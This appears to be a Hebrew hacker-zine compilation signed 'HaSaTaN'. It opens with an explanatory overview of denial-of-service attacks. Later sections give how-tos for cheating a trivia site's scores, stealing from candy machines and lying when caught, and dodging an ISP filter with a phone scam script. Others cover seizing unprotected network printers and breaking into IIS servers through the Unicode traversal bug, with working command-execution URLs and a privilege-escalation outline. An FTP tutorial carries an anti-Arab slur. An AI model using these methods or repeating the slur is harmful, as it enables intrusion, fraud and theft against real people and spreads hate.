אפשר להגדיר כלי pingכך שיחזור וישלח במהירות רבה מנות נתונים אל שרת מסוים .המחשב
המארח ,אשר נאלץ לטפל במספר העצום של בקשות pingשמגיעות אליו לפתע ,עלול להיות
עסוק מכדי להגיב לבקשות נתונים אמיתיות.
במקרה אחר ,פורץ עלול להגדיר כלי שירות אשר ישלח מנות בגודל לא צפוי או מנות המכילות
נתונים לא צפויים ,דבר שיגרום לקריסה של השרת ,לעצירה שלו או להאט את התגובה שלו.
התקפות DoSלא שימושיות במיוחד לפורץ ,בגלל שכל מה שהן עושות הוא למנוע מאחרים
להשתמש במערכת -הן לא מספקות לו דרך לפרוץ פנימה ,אלא מונעות ממשתמשים מורשים
להתחבר לשירות .התקפה כזאת יכולה לגרום מבוכה לקורבן ,אשר חלה הפרעה בשירותי הרשת
שלו ,בעיות לשרת את הלקוחות או אובדן הכנסה .תתאר לעצמך לדוגמה ,אתר מסחר אלקטרוני
שקרס בגלל התקפת ,DoSכאשר אתר זה משמש כמקור ההכנסה היחיד של חברה .כל שעה
שבה השרת לא פעיל יכולה לעלות לחברה הרבה מאוד כסף.
אבל ,רוב התקפות ה DoSהן ניסיונות קטנוניים של פורצים (או בהרבה מקרים ,של אנשים
שרוצים להיות פורצים) להפעיל כוח לשם כוח או למשוך תשומת לב והכרה ,ללא מטרה נוספת.
התקפת SYNבמהלך ההתקשרות הרגילה בין לקוח ושרת ,הלקוח שולח הודעות ,SYNהשרת
מגיב בהודעת SYN-ACKולבסוף הלקוח מגיב בהודעת .ACKבשלב זה נוצר הקישור ,ונתונים
יכולים לזרום בין הלקוח והשרת.
התקפה מסוג ,SYNזוהתה לראשונה בשנת ,1996שולחת לשרת הודעות SYNמרובות אשר
מגיעות לכאורה מכתובת כלשהי ,שלמעשה אינה זמינה .כאשר השרת מנסה לטפל בהודעות
SYNאלו ע"י הקצאת רשומות חיבור ,אין לו עוד משאבים זמינים לטפל בהודעות SYN
אמיתיות ממשתמשים מורשים.
עבור מערכות הפעלה רבות הופצו טלאים לטיפול בהתקפות ,SYNוכן פורסמו תיקונים
להגדרתיהן ,המסייעים לשרתים לטפל בהתקפות מסוג זה.
285
אחדות מהטכנולוגיות המובנות כיום במערכות הפעלה לטיפול בהתקפות SYNמכונוצ "עוגיות
"SYNאו "עוגיות " .RSTעם קבלה של בקשת ,SYNהשרת לא מקצה מידית רשומות חיבור;
במקום זאת הוא מבקש ממקור הבקשה מידע נוסף אשר יאשר שאכן מדובר בניסיון חיבור
אמיתי ולא בהתקפה.
במקרה של עוגיות ,SYNהשרת שולח בחזרה מספר סידורי מיוחד עבור החיבור; אם מגיעה
תשובה עם אותו מספר סידורי ,מדובר בקישור אמיתי ,והשרת מקצה רשומות חיבור .במקרה
של עוגיות ,RSTהשרת שולח SYN-ACKשגוי בחזרה אל המבקש .אם המבקש מגיב בהודעה
שמשהו השתבש ,מדובר בבקשת חיבור אמיתית ,והשרת מקצה רשומת חיבור.
התקפת Smurfהתקפת Smurfהיא סוג ותיק של התקפה .התקפות מסוג זה דומות להצפת
,pingאולם הכותרת והכתובת במנת ה pingשונו כך שנדמה שמקורה במחשב שנבחר כיעד
הסופי של ההתקפה .מספר רב של מנות pingמזויפות משודרות ,כאשר כל אחת מהן עשויה
להיקלט ע"י מאות מחשבים מארחים .כל מחשב שכזה משיב לכתובת המזויפת ,וכך מספר כפול
ומכופל של תגובות מגיע אל מערכת היעד ,מנצל את כל המשאבים או גורם לקריסת המערכת או
להתקעותה.
הן יעד ההתקפה והן יעדיי הביניים סובלים מהתקפה זו .המנות נשלחות מהתוקף לקורבנות
בעיקר דרך רשתות ביניים ,תוך שינוי הגדרות הנתבים שלהן כך שיאפשרו שידורי מוכוונים.
אתה יכול לוודא שאינך מסייע בלא יודעין להתקפות מסוג זה כדי שתוודא שהנתבים ברשת שלך
מוגדרים כראוי .כאשר התקפות מסוג זה זוהו לראשונה ,מספר ארגונים החלו לסרוק רשתות
בחיפוש אחר נתבים בעייתיים והודיעו על כך למנהלי אותן רשתות ,וכתוצאה מכך צנחה כמות
ההתקפות מסוג זה בצורה משמעותית.
זיוף IPזיוף IPמהותו שליחת מנה למארח כאשר גורמים לו לטעות במקור המנה .הלקוח
התוקף שולח הודעת SYNאשר מכילה כתובת מקור ופורט מקור שגויים .המחשב המארח
משיב בהודעת SYN-ACKוממתין עם חיבור פתוח למחצה לתשובה הסופית שצריכה להגיע.
בסופו של דבר פג תוקפו של חיבור פתוח למחצה זה ,אולם הבקשות לחיבורים מזויפים חדשים
נשלחות מהר יותר מהמהירות שבה פג תוקף החיבורים .בסופו של דבר המחשב המארח עסוק
מדי בטיפול בחיבורים מזויפים אלו מכדי שיכול לטפל בבקשות אמיתיות ,מה שמביא למניעת
השירות (.)DoS
למרות שקשה אם לא בלתי אפשרי למנוע הגעת הודעות מזויפות מסוג זה .קיימות דרכים
להקטין את נזקיהן ,כגון קיצור הזמן ד שפג תוקפו של ניסיון חיבור .כמו כן ,אתה יכול למנוע
יצאת התקפות מסוג זה מהרשת שלך ע"י הגדרת הנתבים שלך כך שיסננו מנות יוצאות שכתובת
המקור שלהן אינה תואמת את הרשת שלך.
התקפת Teardropהתקפת Teardropהיא התקפת DoSאשר יכולה לגרום לקריסתו או
היתקעותו של מחשב יעד אם כי לרוב מערכות ההפעלה יש שדרוגים או טלאים אשר מתקנים
את נקודת החולשה שאותה מנצלות התקפות אלו.
מנות IPיכולות להגיע לגודל של ,k64אולם לרוב רכיבי החומרה של הרשתות לא יכולים לטפל
במנות בגודל זה .מסיבה זו ,המנות מפורקות לאורך הדרך לחלקים ניתנים לטיפול ומורכבות
מחדש עם ההגעה ליעד .הכותרת של מנת IPמכילה את המידע הדרוש להרכבה מחדש של
המנה כולה ,כולל האם המידע מהווה חלק של מנה ,מה גודל המנה כולה ולהיכן במנה שייך חלק
זה.
286
התקפות Teardropוהתקפות דומות שולחות מנות TCPאו UDPאשר כוללות כותרת שגויה,
כל שהמחשב המארח מנסה להרכיב מחדש מנה שלמה בהתבסס על מידע שגוי .התוצאה עלולה
להיות קריסה ,היתקעות או ביצועים איטיים במיוחד.
התקפת Ping Of Deathהתקפה מסוג זה הידועה לשמצה מנצלת באג במערכות הפעלה של
רשתות -כולל גירסאות רבות של יוניקס ,חלונות macOS ,ועוד -אשר גורם למחשב המארח
לקרוס או להיתקע כאשר הוא מקבל מנת ICMP Echo Requestשגודלה עולה על .k64
לרוב הגרסאות האחרונות של מערכות ההפעלה יש תיקון או טלאי להתמודדות עם התקפה מסוג
זה .אולם ,על מנת להימנע מהתקפות מבוססות ICMPמכל הסוגים,אתה יכול להגדיר את
"חומת האש" שלך כך שתחסום כל בקשת ICMPנכנסת ,אולם לא תגובות או הדי ICMP
נכנסים .התוצאה היא שאיש מחוץ לארגון שלך לא יוכל לשלוח pingאל מחשבים המארחים
הפנימיים ,מה שבטוח יותר בדרך כלל ,אולם אנשים מתוך הרשת יוכלו לשלוח בקשות ping
והתגובות יחזרו מבלי להיחסם .ייתכן שיהיה עליך לערוך ניסויים בכללי "חומת האש" על מנת
להגיע לביצועים אופטימליים.
התקפות DoSנוספות רוב התקפות DoSהן גירסאות כלשהן של ההתקפות שתיארתי .אולם,
אין שום ספק שפורצים עקשניים יצליחו למצוא התקפות חדשות ,בהתבסס על באגים שלא
אותרו עדיין במערכות הפעלה שונות.
HaSaTaN
פריצה ל MSN MESENGERו YAHOO MESENGER
היי!
טוב ישבתי ובניתי לכם תוכנה בשביל לגנוב לאנשים את הסיסמה ל EMAIL -ולמסנג'ר.
הסרה:
287
FTP
היי ,ושלום לכולם ,היום אני יסביר קצת על פרוטוקול ה( FTP -מוות לערבים!).
אז בלי קשקושים ניגש ישר לאינדקס של הכתבה:
.1הדרך הראשונה -זהו כמובן התוכנות שעולות כסף ,מביניהם -הטובות ביותר הןcute-ftp :
ו.WSFTP -
288
השיטה הזאת ממש לא מומלצת ,התוכנות ממש לא חסינות מפני פגיעות של האקרים ,עם
מטריין נטבאס פשוט -ניתן להעתיק את כל הסיסמאות.
הערה :ניתן להוריד פאצ'ים (קראקים) לתוכנות הללו בבל אתר קראקים נורמלי.
.2הדרך השניה -וזה לדעתי הטוב ביותר (בכול מקרה אני משתמש בשיטה הזו) ,זהו דפדפן
האקספלורר שלכם ,לדוגמא ,התחברו לאינטרנט והקישו את הכתובת הבאה ה FTP -של
בשורת הכתובת שבאקספלורר:
ftp://d_k_hack@ftp.geocities.com
אוקי -לחצתם? נניח שכן ,מה שאתם מיד תראו זה מן ( ALERTתיבת הודעה) שבה אתם
סיסמא ,בואו ננתח את הכתובת שנתתי לכם: מתבקשים להכניס
א .אפשר לראות את הסימן המתחיל בכתובת בו -מתחילה כל כתובת של שרת FTPזהו ה-
.ftp://
ב .מיד אחרי זה אנו רואים את שם המשתמש שלי ב( GEOCITIES -שזה במקרה:
)d_k_hackהבאת השם-משתמש לשרת כמובן תדרוש סיסמא.
ג .אנו רואים את הסימן @ נמצא אחרי השם משתמש שלי .זה אומר פשוט להיכנס אם user
הזה אל מה שיבוא אחרי ה.@ -
ד .ולבסוף אנו רואים את שרת ה FTP -בעצמו שזה.ftp.geocities.com :
הערה :במקום להיכנס לשרת ה FTP -כך ftp://xx@xx.xx.xx :ואחרי זה להקליד את
הסיסמא בתוך הקופסא -אפשר פשוט לכתוב כך בשורת הכתובתftp://xx:yy@zz.zz.zz :
כש:
= xxשם משתמש.
= yyסיסמא.
= zzכתובת השרת.
>USER username
בשלב זה תצטרכו להמתין מעט>...
>PASS password
בשלב זה תצטרכו להמתין מעט>...
>help
289
קודם כל ,לפני שבכלל תכתבו את כל זה אתם תראו שהשרת כותב שהשרת לא משתמש
באנונימיות.
ה username -זהו השם משתמש שלכם.
ה password -זוהי הסיסמא שלכם.
הקפידו לרשום PASSו USER -באותיות גדולות.
הפקודה helpכזכור לכם -תראה לכם את כל הפקודות האפשריות.
.4שיטה חביבה למדי ,זוהי השיטה של ה ,DOS -פשוט מאוד עשו כך:
התחל<הפעלה< והקישוFTP :
כתבו בחלון הדוס שנפתח:
open zz.zz.zz
כש zz.zz.zz :זהו כמובן הכתובת של שרת ה.FTP -
אתם תתבקשו להקליד את שם המשתמש ולאחר מכן את הסיסמא.
אם כתבתם בטעות סיסמא או שם משתמש לא נכונים ,תוכלו להקליד user :ותוכלו להקיש עוד
פעם שם משתמש וסיסמא.
לאחר שנכנסתם (עשיתם )LOGINהקישו - helpותוכלו לראות את כל האפשרויות להקלדה.
HaSaTaN
HaSaTaN
290
Fun-city
במשך שיטוטי הרבים באינטרנט ,חיפשתי דברים מעניינים לעשות ,בין השאר ,מצאתי את
האתר - www.funcity.co.il :האתר הזה די נחמד ויש שם טריוייה חמודה.
את האתר הזה גיליתי לפני משהו כמו שנתיים ,וכבר אז ניסיתי לפרוץ את הטריוייה ולא הלך
לי...
היום חזרתי אל האתר הזה ,ופרצתי את הטריוייה -אני יעבור איתכם צעד צעד ,ויראה לכם איך
פרצתי ,רק ...משהו אחד ,אם אתם קוראים את הכתבה הזאת ,על תשנו את השיאים (שכרגע
הם שלי) כי אני גיליתי את זה ,קצת כבוד לפורץ הנוצץ ....סתאאאאאם!
291
אוטומתית יראה לכם את כל הדפים שביקרתם ב ,walla computers :את זה מן הסתם אתם
יודעים ,אבל איך מנצלים את זה אצלינו?
פשוט מאוד!
אחרי ששיחקתם ,וקיבלתם איזה 20נקודות (במקרה הטוב) תפתחו חלון חדש ,ותקלידו:
/http://www.funcity.co.ilברגע זה אמורה להיפתח לכם הרשימה של כל הדפים שהייתם
באתר הזה ,ואיזה פלא גם דפי הטריוייה שלנו מאוכסנים שמה ,מגניב אה?
כנסו לראשון שקשור לטריוייה ,בשביל שלא תצטרכו לטרוח ,הנה הכתובת:
http://www.funcity.co.il/cgi-
bin/trivia/triv.cgi?funcity.co.il&trivia&HPW23ds&DesignedByFuncity&Allright
)sreserved(c
נגמר המשחק !
הניקוד הסופי שלך הוא ! 5750
5750 ניקוד:
זהו?
איזה לוזרים ,זה כל מה שהצלחתם לעשות???????????
בוא נשנה את זה!
קודם כל תעשו :קובץ < שמירה בשם...
ותשמרו את הדף הסופי באיזה תיקיה שתבחרו.
לכו לתיקייה הזאת ותפתחו את הקוד מקור של הדף.
ונתחיל לעבור עליו:
<>HTML><HEAD><TITLEפאן סיטריוויה<>TITLE/
292
>META content="text/html; charset=windows-1255" http-equiv=Content-Type<
{ STYLE type=text/css>A:link<
COLOR: #000000; TEXT-DECORATION: none
}
{ A:hover
COLOR: #000000; TEXT-DECORATION: none
}
{ A:visited
TEXT-DECORATION: none
}
{ A:active
TEXT-DECORATION: none
}
>STYLE/<
{ STYLE>.button<
FONT-FAMILY: david
}
{ nir.
BACKGROUND-COLOR: #ffcc00; BORDER-BOTTOM: buttonhighlight 0px
outset; BORDER-LEFT: buttonhighlight 0px outset; BORDER-RIGHT:
buttonhighlight 0px outset; BORDER-TOP: buttonhighlight 0px outset;
CURSOR: default; FONT-FAMILY: david; FONT-SIZE: 10pt; POSITION:
absolute; TEXT-ALIGN: right; VISIBILITY: hidden; WIDTH: 50px
}
{ menuitems.
PADDING-LEFT: 15px; PADDING-RIGHT: 10px
}
>STYLE/<
>SCRIPT language=JavaScript1.2<
{ )(function showmenuie5
;var rightedge = document.body.clientWidth-event.clientX
;var bottomedge = document.body.clientHeight-event.clientY
;"" = event.srcElement.style.color
)if (rightedge < ie5menu.offsetWidth
ie5menu.style.left = document.body.scrollLeft + event.clientX -
;ie5menu.offsetWidth
else
;ie5menu.style.left = document.body.scrollLeft + event.clientX
)if (bottomedge < ie5menu.offsetHeight
ie5menu.style.top = document.body.scrollTop + event.clientY -
;ie5menu.offsetHeight
else
;ie5menu.style.top = document.body.scrollTop + event.clientY
293
;"ie5menu.style.visibility = "visible
;return false
}
{ )(function hidemenuie5
;"ie5menu.style.visibility = "hidden
}
>SCRIPT/<
>CENTER<
>TABLE border=0 height=240 width=590<
>TBODY<
>TR<
TD align=right colSpan=4 height=70><IMG align=center<
>files/trivia.gif"></TD></TR_="פאן סיטריוויהsrc
>TR<
>TD align=middle><FONT color=purple size=+3<
< >!נגמר המשחקFORM action=writescore.cgi method=post<
הניקודBR></FONT>5750
BR><BR><INPUT name=type type=hidden< הסופי שלך הוא
value=writename> <INPUT
name=check type=hidden value=ok> <INPUT name=points type=hidden
="לחץ כאן כדי לרשוםvalue=100000> <INPUT class=button type=submit value
>"תוצאה
>FORM></TD></TR/<
>TR<
TD align=middle><FONT color=red size=+3>5750 <IMG align=center<
>files/points.gif"> </FONT></TD></TR_="פאן סיטריוויהsrc
>TR<
>TD tr <></TR></TBODY></TABLE></CENTER></BODY></HTML<
294
<>CENTER
<>TABLE border=0 height=240 width=590
<>TBODY
<>TR
<TD align=right colSpan=4 height=70><IMG align=center
"=srcפאן סיטריוויה_>files/trivia.gif"></TD></TR
<>TR
<>TD align=middle><FONT color=purple size=+3
<!>FORM action=writescore.cgi method=postנגמר המשחק <
BR></FONT>5750הניקוד
הסופי שלך הוא <BR><BR><INPUT name=type type=hidden
value=writename> <INPUT
name=check type=hidden value=ok> <INPUT name=points type=hidden
"=value=100000> <INPUT class=button type=submit valueלחץ כאן כדי לרשום
תוצאה">
<>FORM></TD></TR/
HaSaTaN
295
גניבה מהמכונות של הממתקים
הטקסט נכתב רק לאנשים בעלי אמצעים (כסף!!!) שקל 1יספיק.
,OKהנה טריק נחמד שהמצאתי ליפני מלא זמן והוא עדיין עובד!!!
טוב אז מדובר במכונות של מסטיקים וסוכריות טופי על מקל על מקל +מסטיק ועוד...
לא להתבלבל מדובר רק במכונות שאפשר להשתמש עד שזוכים!!!
עכשיו נבין מה הולך מאז שמכניסים את השקל ועד שנגמר המשחק,
טוב ,מכניסים את השקל -השקל יורד בצנרת שלו ועובר אימות (אם זה שקל אמיתי).
אחרי האימות יש 2אפשרויות:
עכשיו ,אם הכנסת שקל אמיתי אחרי האימות המשחק מתחיל ויש לך זמן מוקצב לכל משחק
אתה לוחץ על הלחצנים
ומזיז את הכף הגדולה ימינה שמאל קדימה אחורה ואז לוחץ על הכפתור האדום העגול (בדרך
כלל) והכף יורדת נפתחת נסגרת ועולה בחזרה וחוזרת למקום הראשוני שלה (מעל הפתח של
היציאה).
הכף נפתחת וכל מה שהיה בפנים נופל לתוך המנהרה לכיוון החור יציאה .
אם היתה סוכריה ומשחק נגמר ואם לא אז יש עוד סיבוב.
אז איך זה קרה ?!?! איך המכונה יודעת אם זכיתי או לא?
אז זהו הכל קורה בתוך המנהרה!
לעיניים -כל זה נראה כאילו הסוכריה רק נפלה זהו ושום דבר לא קרה אבל מי שמסתכל טוב
יבין ששם נמצא כל הקטע .מה שבעצם קורה זה שבתוך המנהרה יש עין (לא לא עיין של
דרקולה - ...עין אלקטרונית) ,כשהסוכריה נופלת היא עוברת בתוך המנהרה ועוברת דרך הקרן
שהעין משדרת (העין משדרת קרן ומחקה לקרן חוזרת בעוצמה מסוימת ואם גוף נכנס דרך הקרן
הוא מחזיר את הקרן אבל בעוצמה שונה וכך העין יודעת עם עבר משהו דרכה).
ואז המשחק נגמר השעון מאופס והאורות נכבים (או משנים צבע תלוי במכשיר).
296
מה שאנחנו צריכים לעשות זה בעצם רק למנוע מהסוכריה לעבור דרך העין ולאסוף מלא
סוכריות.
מצרכים:
שקית נילון גדולה /קרטון של פיצה (של המשולש לא המגש) ,קופסה בגודל של המנהרה .
עוד שקית גדולה -בישביל לאחסן את השלל.
דבק סלוטיפ עדיף מסקנטייפ הגדול.
ידיים ארוכות (לא יותר מידי).
מוח (הרבה!).
הרבה מזל.
חוש אומנותי.
סכין למקרה הצורך (דבק כבר יש ...לא צריך חבל.)...
,OKלעבודה!
תכינו מראש את השקית נילון גדולה /קרטון של פיצה /קופסה בגודל של המנהרה ותדביקו
בקצה העליון שלהם
2חתיכות דבק (אל תדביקו הכל תשאירו חלק לא מודבק שאותו תצמידו לבפנים של המנהרה)
ו 2 -בקצה התחתון.
לכו למכונה ותדביקו את השקית /קרטון /קופסה כמה סנטימטרים מעל העין ושהם לא יפלו
ויסתירו לעין ככה שכשהסוכריות יפלו הם יפלו לתוך השקית ולא יעברו דרך העיין (תמונה ,)6
ולמרות שתזכו העין לא תראה שמשהו עבר.
אחרי 50-100משחקים (או שהשומר בא לכיוונכם תכניסו את היד תתלשו את השקית או תעשו
בה חור תקחו את הכל הממתקים שזכיתם (גנבתם) ותברחו מהמקום מהר.
למקרה שתפסו אותכם תגידו שאתם הכנסתם כסף וזכיתם וכל פעם הסוכריה לא היתה נופלת
לחור ואחרי 2משחקים
החלטתם לבדוק מה הולך פה והכנסתם את היד וראיתם שיש שם שקית שחסמה את הכל ואז
קרעתם אותה והלכתם...
ואם הוא ישאל "אז למה ברחת?" אז תגידו "אמממ "...ותתחילו לרוץ כמו משוגעים!!!
מצרכים:
קרטון של פיצה (כן גם הפעם הקרטון הקטן.)...
שקית גדולה -בשביל לאחסן את השלל.
דבק סלוטיפ עדיף מסקנטיפ הגדול.
ידיים ארוכות (לא יותר מידי).
מוח.
הרבה מזל.
חוש אומנותי.
סכין למקרה הצורך (דבק כבר יש ...לא צריך חבל.)...
במחשבה שניה במקום הסכין תקנו רגליים מהירות!
,OKלעבודה!
תכינו מראש את הקרטון ותדביקו בקצה העליון שלו 2חתיכות דבק ו 2 -בקצה התחתון ,לכו
למכונה ותדביקו את הקרטון כמה סנטימטרים מעל העין ואת החלק התחתון תדביק לבסיס
(הריצפה) ככה שיווצר מגלשה מעל העין וכל סוכריה שתפול תתגלש (תיתגלצ') במגלשה
(מגלצ'ה) מעל העין והעין לא תדע בכלל שזכית.
297
(תמונה .)7,8
- Ctrl + Shiftשמאלי
מקרא:
! = דפנות המכונה
= /קרטון
= $דבק
= Oעין
= +++סוכריה
! ! +++
! !$
! !/
! !/
!/
!/ O
!_____$/
- Ctrl + Shiftימני
יש כל מיני סוגים של מכונות ,וזה לא יעבוד בכולם לפעמים אתם תצטרכו למצא את השיטה
למנוע מהסוכריה לעבור דרך הקרן אבל יש לכם את העיקרון.
טוב אז זהו תאכלו הרבה סוכריות אל תצחצחו שיניים ותפגיזו אותי בתודות /בקשות /מענות /
איומים...
HaSaTaN
פריצה ל-מורשת
איך לעקוף את מורשת?
מורשת זה ספק אינטרנט לדתיים (בעיקר) ,שמונע להיכנס לרוב האתרים והאתרי האקינג בכלל
מיחוץ לתחום
בקיצור -ספק מעצבן שלא נותן להיכנס למלא אתרים לכן החלטתי לכתוב לאנשים שרצו לגלוש
דרך בית ספר
או סתם בתים שההורים מפחדים שהילדים יכנסו לאתרים אסורים.
עכשיו לעבודה.
בבית שלא מחובר לאינטרנט דרך רשת או ראוטר צריך לעשות "חיוג לרשת" רגיל דרך מודם,
כל מה שצריך לעשות זה ליצור חיוג לרשת חדש לספק המבוקש ולהיתחבר.
עכשיו בישביל שלא יגלו שאתם מתחברים לאינטרנט דרך ספק אחר (מה שיופיע בחשבון טלפון)
עשו כך:
298
ירון וחנה לוי ………………………………… 041234567
אני :שלום ,מדברים מבית החולים רמב"ם איש אחד נפגע בתאונת דרכים ואמר שהוא מוכן
לדבר רק עם מי שכתוב בפתק שהביא לנו אם אתם רוצים לדבר איתו עליכם לחייג .*72132
(אם שואל אותכם מה פשר המספר תומרו לו שזה מספר מיוחד של בית החולים)
האידיוט שענה לי :טוב אני עכשיו מתקשר.
****
הכי טוב זה לעשות את זה בעצמכם לדוגמא במכולת -קודם תחיגו 110תרשמו את המספר
ואחר כך תחיגו *72132תעשו כאילו לא ענו לכם ותלכו מהר משם ושלא יזכרו שהייתם שם
ומהבית תחיגו לשם...
יכול להיות שאפשר לעשות את זה גם על טלפון מטבעות ,או טלפון ציבורי ישן ,על החדשים
זה לא עובד אבל עדיין אפשר לנסות.
****
( 132בא רק כדוגמה כי הוא נותן בדרך כלל להתחבר בלי סיסמא ,אבל ניראה לי שבזק חסמו את
זה! בכל מקרה אפשר לבקש מחבר סיסמא לאינטרנט ולחייג לספק אחר ,לדוגמא :ברק,
אינטרנט זהב וכדומה.)...
299
כתובת ***-***-***-*** IP
ומסכת משנה ******-***-***-
160
161
99
200
36
120-126
פריצה למדפסות
אני יושב לי במחשב ,שומע mp3מזרחי וחושב מה לעשות.
-להכין כתבה
-לשחק nba2001
-או להוריד מחשב מהרשת.
אז אחרי כל ה bulshit -הזה זה שחירבנתי לכם ת'מוח עד הסוף ,מה יש לנו היום?
שאלה טובה!
תאמינו או לא ,היום ילדים ליימרים ,נלמד איך לפרוץ למדפסת!
נשמע מגוחך?
חכו תראו!
300
מה הכוונה לפרוץ למדפסת? דבר ראשון כשאומרים דבר כזה זה אומר שמתכוונים למדפסת
רשת! (מה זה?)
,okאני רואה שאתם באמת לא יודעים כלום ,אז קודם כל מדובר במדפסת מסוג ,HP JetDirect
במדפסת הזאת
יש המון אפשרויות ,ביניהן ,ניהול מרחוק....
אני רואה שהתחלתם להבין במה מדובר ,אה??
טוב ,אז איך מוצאים את מדפסות מסוג זה על הנט?
HP JetDirect
אם קיבלת את זה ,זה אומר שאתה בר מזל ואתה יכול להתחיל לשחק במדפסת ,אבל אם קיבלת
את זה:
HP JetDirect
Password:
אז אפשר להגיד שאכלתה אותה ,כי זה אומר שיש סיסמא למדפסת הזאת .בכל מקרה,
המדפסת פועלת בצורה כזאת
שהברירת מחדל שלה ( ,)defultהוא ללא סיסמא ,ככה שאם תמצא פורט פתוח ,קרוב לוודאי
שהוא יהיה ללא
סיסמא!
אז אם קיבלתם את הדבר הראשון ,קרוב לוודאי (איזה שפה ספרותית יש לי ,אה?) שתרצו לדעת
מה אתם יכולים
לעולל עכשיו ,נכון?
אז פשוט הקישו"?" :
אתם אמורים לקבל את הדבר הבא:
*בשביל לראות את מה שכתוב פה נכון ,לחצו alt + shift :שמאלי ,והטקסט יתיישר לשמאל.
*לאחר שתגמרו לקרוא את הקטע הזה באנגלית ,לחצו alt + shiftימני ,והטסקסט יתיישר
לקריאה עברית חזרה.
<?
301
ip: IP-address in dotted notation
subnet-mask: address in dotted notation
default-gw: address in dotted notation
syslog-svr: address in dotted notation
idle-timeout: seconds in integers
)set-cmnty-name: alpha-numeric string (32 chars max
host-name: alpha-numeric string (upper case only, 32 chars
dhcp-config: 0 to disable, 1 to enable
ipx/spx: 0 to disable, 1 to enable
dlc/llc: 0 to disable, 1 to enable
ethertalk: 0 to disable, 1 to enable
banner: 0 to disable, 1 to enable
Type "?" for HELP, "/" for current settings or "quit" to save-and-exit.
Or type "exit" to exit without saving configuration parameter entries
>
הדבר הראשון שכדאי שתעשו זה לשנות את הסיסמא כדי שהאקרים אחרים לא יגנבו לכם את
.המציאה
?איך
:פשוט הקישו את הדבר הבא
passwd>
:]Enter Password[16 character max.; 0 to disable> 1234
Password set to :1234
Quit>
והשני מסמל את אישור, הראשון מסמל את הקשת הסיסמא החדשה פעם ראשונה1234 :* ה
.הסיסמא
.* התו ">" מסמל שורה חדשה ואין צורך להקיש אותו
HaSaTaN
302
פריצה לשרתי ISSוקבלת דומין
טוב בכתבה הזאת אני עומד להסביר לכם צעד אחר צעד כיצד ליפרוץ אתר שרץ על מערכת .IIS
כל החומר בכתבה נועד למטרת ידע בלבד ותנסו אותו באופן חופשי אבל זה לא על אחריותי.
תוכן ענינים:
*+*+*+*+*+*+
.1מה זה ?IIS
.2מציאת אתר מתאים לפריצה
.3באג היוניקוד
Admin Rights.4
.4אקספלויטים
.5הרצת אקספלויטים
303
**
*
מה זה ?IIS
*+*+*+*+*+
ובכן ,זאתי מערכת אשר משתמשת ב,IIS Internet Infrmation Server -
שזה שרת אינטרנט ותוכנות פשוט של חברת מיקרוספוט הגועלית .טוב ,אתם מתארים לעצמכם
שעצם זה שזה
מיקרוסופט יש בו יותר באגים משאפשר לדמיין וכמו שאמרתי בכתבה זו אני ילמד אותכם איך
ליפרוץ את המערכת ולהשיג זכויות אדמין אז יאללה בוא נתחיל!
**
*
מציאת אתר מתאים לפריצה
*+*+*+*+*+*+*+*+*+*+*+
טוב בוא נגיד שאנחנו רוצים ליפרוץ לאתר אתם דבר ראשון מטלנטים אליו בפורט 80ואז אתם
רושמים משהו ולוחצים אינטר וקופץ הפלט הבא:
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: sat, 28 sep 2002 18:17:09 GMT
Content-Length: 407
אם תיסתכלו טוב השרת מודיע לנו שהוא מריץ גירסת .IIS 4.0
מה שאומר שהאתר מתאים לנו לפריצה .שימו לב שיכול להיות לכם בימקום גירסת 4.0גירסת
.5.0
בכל מיקרה זה אותה מערכת.
אחרי שגילינו שהאתר מריץ את מערכת ה ,IIS-נעבור לפריצה עצמה!
**
*
באג היוניקוד
*+*+*+*+*+*+
טוב ,באג היוניקוד זה הבאג הכי מפורסם במערכת הזאת .באג היוניקוד מאפשר לנו להריץ
פקודות דוס מרחוק על האתר ועל התיקיות שבו.
עכשיו אני יסביר לכם איך עושים את זה:
http://www.TheServer.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c
\:
הסבר:
www.TheServer.com
במקום זה יוכל לבוא האתר שאתם רוצים ליפרוץ אליו.
-sciptsזו התיקיה שמאכסנת את ה cgi -של האתר והסקריפטים שבו.
-c1%9c%זה תרגום היוניקוד זה דבר לא כל כך חשוב לכם אם אתם לא מבינים בזה בכל
מיקרה יש ליוניקוד המון שפות.
304
זה אחד התירגומים האפשרים שלו תשאירו את זה אם אין לכם משהו אחר
?winnt/system32/cmd.exe/
זה החלק שמפנה אותך לקובץ cmd.exeזה הקובץ שמפעיל קבצים מסוג
batו.cmd -
שכמובן הם שומרים בתוכם אוסף של פקודות דוס שמריצים
\:c+dir+c/
זה הקטע האמיתי של הפריצה.
למי שמבין בדוס יודע שפה זה אומר לנו להראות את תוכן כונן הסי.
טוב ,עכשיו נעבור ליצירת קבצים הפקודה שאותה אנחנו רושמים על מנת ליצור קובץ חדש היא:
echo
בוא נגיד שאנחנו רוצים להכניס טקסט לתוך הקובץ:
index.asp
אנחנו נעשה ככה
http://www.Theservername.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
echo+kaki+>>+c:\inetpub\scripts\index.asp
אבל יש בעיה האתר לא יאפשר את זה ,עכשיו ,איך פותרים את זה זה ממש פשוט! פשוט
מעתיקים את הקובץ
cmd.exe
ל-
c:\inetpub\scripts
ואז יהיה ניתן לעשות את זה ככה
http://victim.machine/scripts/cmd.exe?/c+echo+kaki+>>+c:\inetpub\script\index.
asp
עכשיו יש עוד כל מיני פקודות נוספות אולי בטקסט הבא אני ירשום גם על פקודות דרך
ftp
ועוד
**
*
admin rights
*+*+*+*+*+*+
טוב פה אני הולך להסביר לכם איך להשיג גישות אדמין לאתר בלי לעבוד הרבה רק צריך
הרשאה
לעלות קבצים לתיקיה
cgi-bin
נסו להיכנס כאנונימים בפורט 21דרך הדוס רישמו ככה
ftp www.kaki.com
עכשיו יהיה לכם בטח משהו כזה
Connected to www.kaki.com
.)kaki Microsoft FTP Service (Version 3.0 220
:))User (www.kaky.com:(none
עכשיו שימו לב לשם השרת במיקרה זה הוא
kaki
אז במערכת ה-
IIS
put
חשבון האנונימיס שניצור יקרא
IUSR_kaki
עכשיו ב-
305
user
תירשמו
anonymous
ואז הוא יגיד לכם לירשום אימיל בתור סיסמא אפילו אל תירשמו אימיל סתם רשמו משהו כמו
1234
ואז הוא ירשום
Connect
וכשמגיע החלק של הפריצה ,נסו להעלות קובץ לאתר מעלים קוב ע"י הפקודה
put
תכינו איזה עמוד מסכן או משהו ותנסו להעלות לתיקה של ה-
cgi-bin
אם הכל הלך טוב ויפה אז נעבור לחלק הבא של הפריצה
אתם צריכים להשיג שלושה קבצים
getadmin.exe gasys.dll cmd.exe
